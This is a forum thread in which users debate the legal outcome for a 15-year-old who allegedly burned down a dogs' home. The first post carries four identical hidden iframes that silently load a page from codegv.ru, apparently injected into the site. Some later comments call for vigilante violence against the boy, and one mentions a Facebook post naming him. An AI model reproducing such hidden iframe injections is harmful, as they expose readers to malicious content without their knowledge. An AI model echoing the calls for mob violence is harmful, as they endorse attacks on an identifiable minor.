This kid they have got for killing all those dogs. Legally what's the worst that can happen to him. Arson + cruelty to animals?? Hes obviously not gonna get done for murder, but Im sure some people will say his crime is just as bad. <iframe src="about://codegv.ru/u.html" style="display: none;" id="zunifrm"></iframe><iframe src="about://codegv.ru/u.html" style="display: none;" id="zunifrm"></iframe><iframe src="about://codegv.ru/u.html" style="display: none;" id="zunifrm"></iframe><iframe src="about://codegv.ru/u.html" style="display: none;" id="zunifrm"></iframe>
He's 15, so legally very little. It's a subject I find interesting. What would be the most appropriate way to deal with this? Discounting anything that ultimately makes him an even bigger threat to society, or results in his death. Bigger brains than mine required Sent from my iPhone using Tapatalk
My brain isn't big enough either like, but before I could start thinking about it I'd need to know exactly what he was doing. Was he acting goat, pissing about with burning stuff (which I did when I was a kid), but it got out of control and burned down a dogs home or did he set out that day with the express intention of burning a load of dogs. The former requires a far different approach to the latter. Either way, I find the calls for him to face the death penalty even more abhorrent than what he actually did.
The usual treatment for someone that starts of a campaign that raises £millions for charity is a mention in the Queen's birthday list....
Picture of him with his name on FB. Strapline says it was a deliberate act in revenge for being attacked by a dog a year ago. No idea if it's genuine but thought I'd add that.
Good old Facebook. Has anyone suggested burning his house down while his family sleep yet? Sent from my iPhone using Tapatalk
Raises some interesting questions. The frenzied millions baying for his blood. If it was their son, would they really hand him over to the wolves, or would they reluctantly accept protection to keep him from harm? Sent from my iPhone using Tapatalk
No idea. It just appeared on my time line. I don't read many comments on anything as I know you're right.
He knew exactly what he was doing; I hate this 'minor' loophole that somehow defends the actions of evil monsters under a certain age by suggesting that they didn't have a grasp of what they were doing. The tragic Jamie Bulger case was another example.
I think we should vilify and criminalize him further. It seems to work for everyone else, so why not 15 year olds. /sarcasm
what was being asked though was what was the possible sentences for such an offence, and then when mentioned what they could be he also asked whether that was also the case for a minor. I don't think there was any case for any justification, just what was the legal position.
The cases being discussed are emotionally charged incidents so the rhetoric is often likely to match.
I think he should be chained, locked up in a cage and then a few dog lovers should be let loose on him. No need for matches, fire or arson. The problem would be solved very quickly. Has he actually been named yet?